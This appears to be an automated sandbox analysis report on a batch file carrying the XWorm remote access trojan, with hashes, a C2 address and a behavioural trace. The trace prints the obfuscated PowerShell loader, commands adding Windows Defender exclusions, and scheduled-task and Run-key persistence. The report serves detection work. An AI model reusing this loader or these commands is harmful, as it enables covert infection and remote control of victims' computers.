Analysis
-
max time kernel
149s -
max time network
128s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
28-04-2024 02:53
Static task
static1
Behavioral task
behavioral1
Sample
IPstresser.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
IPstresser.bat
Resource
win10v2004-20240419-en
General
-
Target
IPstresser.bat
-
Size
104KB
-
MD5
9961f5a480e3b1f40284111352e26ef9
-
SHA1
d764ca52b356a0dddfa35fe99555be1b5cf2999c
-
SHA256
239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4
-
SHA512
7220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a
-
SSDEEP
1536:7nOs1HXZcHbLD8V9u86pOzbpdYU3rKeNHcedVdzng6nFFKdEmgRUGONJtrA:rOsR+bkV9UpOzNd33uehRd7g6FFaqONc
Malware Config
Extracted
xworm
continue-silk.gl.at.ply.gg:58347
127.0.0.1:58347
-
Install_directory
%ProgramData%
-
install_file
svchost.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2968-50-0x000001739AA60000-0x000001739AA7C000-memory.dmp family_xworm -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops startup file 2 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
svchost.exepid process 4284 svchost.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost = "C:\\ProgramData\\svchost.exe" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 4 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 17 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exepid process 392 powershell.exe 392 powershell.exe 696 powershell.exe 696 powershell.exe 2968 powershell.exe 2968 powershell.exe 4172 powershell.exe 4172 powershell.exe 2820 powershell.exe 2820 powershell.exe 776 powershell.exe 776 powershell.exe 4472 powershell.exe 4472 powershell.exe 2968 powershell.exe 4284 svchost.exe 4284 svchost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 392 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe Token: 35 696 powershell.exe Token: 36 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe Token: 35 696 powershell.exe Token: 36 696 powershell.exe Token: SeIncreaseQuotaPrivilege 696 powershell.exe Token: SeSecurityPrivilege 696 powershell.exe Token: SeTakeOwnershipPrivilege 696 powershell.exe Token: SeLoadDriverPrivilege 696 powershell.exe Token: SeSystemProfilePrivilege 696 powershell.exe Token: SeSystemtimePrivilege 696 powershell.exe Token: SeProfSingleProcessPrivilege 696 powershell.exe Token: SeIncBasePriorityPrivilege 696 powershell.exe Token: SeCreatePagefilePrivilege 696 powershell.exe Token: SeBackupPrivilege 696 powershell.exe Token: SeRestorePrivilege 696 powershell.exe Token: SeShutdownPrivilege 696 powershell.exe Token: SeDebugPrivilege 696 powershell.exe Token: SeSystemEnvironmentPrivilege 696 powershell.exe Token: SeRemoteShutdownPrivilege 696 powershell.exe Token: SeUndockPrivilege 696 powershell.exe Token: SeManageVolumePrivilege 696 powershell.exe Token: 33 696 powershell.exe Token: 34 696 powershell.exe Token: 35 696 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 2968 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exedescription pid process target process PID 3272 wrote to memory of 392 3272 cmd.exe powershell.exe PID 3272 wrote to memory of 392 3272 cmd.exe powershell.exe PID 392 wrote to memory of 696 392 powershell.exe powershell.exe PID 392 wrote to memory of 696 392 powershell.exe powershell.exe PID 392 wrote to memory of 4068 392 powershell.exe WScript.exe PID 392 wrote to memory of 4068 392 powershell.exe WScript.exe PID 4068 wrote to memory of 3292 4068 WScript.exe cmd.exe PID 4068 wrote to memory of 3292 4068 WScript.exe cmd.exe PID 3292 wrote to memory of 2968 3292 cmd.exe powershell.exe PID 3292 wrote to memory of 2968 3292 cmd.exe powershell.exe PID 2968 wrote to memory of 4172 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 4172 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 2820 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 2820 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 776 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 776 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 4472 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 4472 2968 powershell.exe powershell.exe PID 2968 wrote to memory of 2468 2968 powershell.exe schtasks.exe PID 2968 wrote to memory of 2468 2968 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\IPstresser.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3272 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\IPstresser.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IPstresser.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:392 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_863_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_863.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:696 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_863.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4068 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_863.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:3292 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hCf6wEcK+VHA277kHDCxrhG4+VY1PV/KhbMkrUPhFBY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dc0yJ4420CXjo8i4RUcDRA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZjaPX=New-Object System.IO.MemoryStream(,$param_var); $Abpwf=New-Object System.IO.MemoryStream; $yXrTn=New-Object System.IO.Compression.GZipStream($ZjaPX, [IO.Compression.CompressionMode]::Decompress); $yXrTn.CopyTo($Abpwf); $yXrTn.Dispose(); $ZjaPX.Dispose(); $Abpwf.Dispose(); $Abpwf.ToArray();}function execute_function($param_var,$param2_var){ $rXNyO=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zgjXN=$rXNyO.EntryPoint; $zgjXN.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_863.bat';$SPurN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_863.bat').Split([Environment]::NewLine);foreach ($UwOBG in $SPurN) { if ($UwOBG.StartsWith(':: ')) { $fRHEc=$UwOBG.Substring(3); break; }}$payloads_var=[string[]]$fRHEc.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4172 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
PID:2820 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
PID:776 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4472 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"6⤵
- Creates scheduled task(s)
PID:2468
-
C:\ProgramData\svchost.exeC:\ProgramData\svchost.exe1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4284
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\svchost.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5ee6f5f5e5924783870aeedeccdafe9da
SHA10e12ede20df5ec37f2bf3608ad1bc9b4649450fd
SHA256ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416
SHA512998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD56d42b6da621e8df5674e26b799c8e2aa
SHA1ab3ce1327ea1eeedb987ec823d5e0cb146bafa48
SHA2565ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c
SHA51253faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5110b59ca4d00786d0bde151d21865049
SHA1557e730d93fdf944a0cad874022df1895fb5b2e2
SHA25677f69011c214ea5a01fd2035d781914c4893aee66d784deadc22179eadfdf77f
SHA512cb55ac6eca50f4427718bace861679c88b2fdfea94d30209e8d61ca73a6ce9f8c4b5334922d2660a829b0636d20cbdf3bae1497c920e604efe6c636019feb10e
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD5ce4540390cc4841c8973eb5a3e9f4f7d
SHA12293f30a6f4c9538bc5b06606c10a50ab4ecef8e
SHA256e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105
SHA5122a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3yoyplog.ino.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\startup_str_863.batFilesize
104KB
MD59961f5a480e3b1f40284111352e26ef9
SHA1d764ca52b356a0dddfa35fe99555be1b5cf2999c
SHA256239bafce9c2a8cffe424e4f48eee9bac08e09ab7423da9ae1e23e8ab27a5f4f4
SHA5127220340e6eeebaa2504d9c5d8f7c171ce10d794fb0c7712c54d6dac95a33b7699e482f891f52c12fdeb0caa055da6fc6e75fd76107b82ce77d8cbfd131762d1a
-
C:\Users\Admin\AppData\Roaming\startup_str_863.vbsFilesize
115B
MD546ecfea8ca77a5ea8761e315d86a0acf
SHA19d3335c8ceea2de5440b7a1b0dfcb9b504c76fc5
SHA2567412fe1fa18a3dd64d8bf77e7715957d91c3d1a65b90906969dfccfe9ba663d1
SHA512eb61425b5501bb72bcb48801d7e38ceaaad56d9c8fd522976a577cd6058e7897748661437e57ece47c63ee8b9cc1553991552fc19f0d9a3e381b64cc7766586e
-
memory/392-14-0x000002E0D37B0000-0x000002E0D37C6000-memory.dmpFilesize
88KB
-
memory/392-51-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmpFilesize
10.8MB
-
memory/392-11-0x000002E0D3880000-0x000002E0D3890000-memory.dmpFilesize
64KB
-
memory/392-12-0x000002E0D3880000-0x000002E0D3890000-memory.dmpFilesize
64KB
-
memory/392-13-0x000002E0BB560000-0x000002E0BB568000-memory.dmpFilesize
32KB
-
memory/392-10-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmpFilesize
10.8MB
-
memory/392-0-0x000002E0D37C0000-0x000002E0D37E2000-memory.dmpFilesize
136KB
-
memory/696-25-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmpFilesize
10.8MB
-
memory/696-30-0x00007FF999D00000-0x00007FF99A7C1000-memory.dmpFilesize
10.8MB
-
memory/696-27-0x0000019B50B50000-0x0000019B50B60000-memory.dmpFilesize
64KB
-
memory/696-26-0x0000019B50B50000-0x0000019B50B60000-memory.dmpFilesize
64KB
-
memory/2968-49-0x000001739AA30000-0x000001739AA46000-memory.dmpFilesize
88KB
-
memory/2968-50-0x000001739AA60000-0x000001739AA7C000-memory.dmpFilesize
112KB
-
memory/4284-109-0x00000216FF000000-0x00000216FF044000-memory.dmpFilesize
272KB
-
memory/4284-110-0x00000216FF0D0000-0x00000216FF146000-memory.dmpFilesize
472KB